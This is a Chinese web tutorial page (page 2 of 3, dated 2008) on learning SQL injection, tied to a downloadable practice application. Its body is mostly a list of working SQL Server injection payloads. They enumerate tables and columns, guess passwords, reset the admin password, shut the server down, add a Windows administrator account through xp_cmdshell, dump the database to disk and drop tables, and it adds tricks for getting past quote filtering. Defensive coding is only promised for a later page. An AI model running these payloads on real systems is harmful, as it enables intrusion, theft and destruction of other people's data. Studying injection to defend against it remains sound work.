攻击方式学习之SQL注入(SQL Injection)第2/3页

 更新时间:2008年09月06日 12:34:30   作者:  
有些网站将直接拿用户的输入 来拼接SQL语句,进行查询等操作,同时也将错误信息暴露给用户。

详细具体的注入方法就不一一介绍了,欢迎下载该示例程序进行实战演练,点击界面的“注入指南”有详细的注入说明:
复制代码 代码如下:

1. 试探是否能够注入
'
2. 试探管理员用户名
XXX
3. 猜表名
admin'or 0>(select count(*) from [XXX]) --
更狠的方法直接取表名:
admin' and (Select Top 1 name from sysobjects where xtype='U')>0 --
4. 猜列名
admin'and 0< (select count(XXX) from [Users]) --
再来狠的取列名:
admin' and (Select top 1 col_name(object_id('Users'), 3) from [Users])>0 --
5. 猜密码长度
admin'and 1=(select count(*) from [Users] where len(Password)<XXX) --
6. 猜密码
admin'and 1=(select count(*) from [Users] where left(Password,2)='XX') --
----------------------------------------------------------------------------------------------
在探测出了表名和列表的时候,可以使用终极武器,直接修改admin的密码,或者做更加恶劣的破坏行为:
admin';update [Users] set Password='123' where UserName='admin' --
----------------------------------------------------------------------------------------------
其他恶劣行为:
1. 直接关闭偶的SQL服务
admin';shutdown --
2. 如果使用sa用户并可能遭受的攻击:在偶机器上添加用户,并加入某个组织:
admin';exec master..xp_cmdshell "net user name password /add" --
admin';exec master..xp_cmdshell "net localgroup name administrators /add" --
3. 直接备份数据库,然后下载下来,非常恶劣,建议不要对我使用。
admin';backup database Test to disk='d:"1.db'--
4. 直接删表,慎用啊
admin';drop table abc --
----------------------------------------------------------------------------------------------
其他经验总结:
1. 绕过单引号过滤
where xtype='U' ===> where xtype=char(85)
where name='用户' ===> where name=nchar(29992)+nchar(25143)
2. 取数据库名称
admin' and db_name()>0 --
----------------------------------------------------------------------------------------------

后面会介绍到如何安全的组装SQL语句。
示例程序下载 : http://xiazai.jb51.net/yuanma/asp.net/SQLInjection.rar

相关文章

最新评论